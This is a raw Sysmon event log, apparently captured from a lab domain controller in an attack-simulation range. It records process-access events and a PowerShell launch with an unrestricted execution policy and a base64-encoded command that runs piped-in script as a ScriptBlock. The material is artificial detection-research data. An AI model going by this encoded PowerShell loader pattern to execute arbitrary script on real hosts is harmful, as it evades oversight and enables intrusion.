09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.219{A5F018FF-2921-5F80-E200-000000007F01}48204120C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+944dc9ad(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397d837(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397d508(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9442eb6d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9393e09e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9399c56d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397fbd2(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397fbd2(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397fa63(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+939719e8(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397df1b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397db0e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397d837(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9397d508(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9442eb6d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+93964369(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+93963939(wow64) 154100x80000000000000004356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.230{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000004355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.172{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.172{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.141{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_yw4vwzwn.gyy.ps12020-10-09 09:10:57.141 10341000x80000000000000004352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.125{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E200-000000007F01}4820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 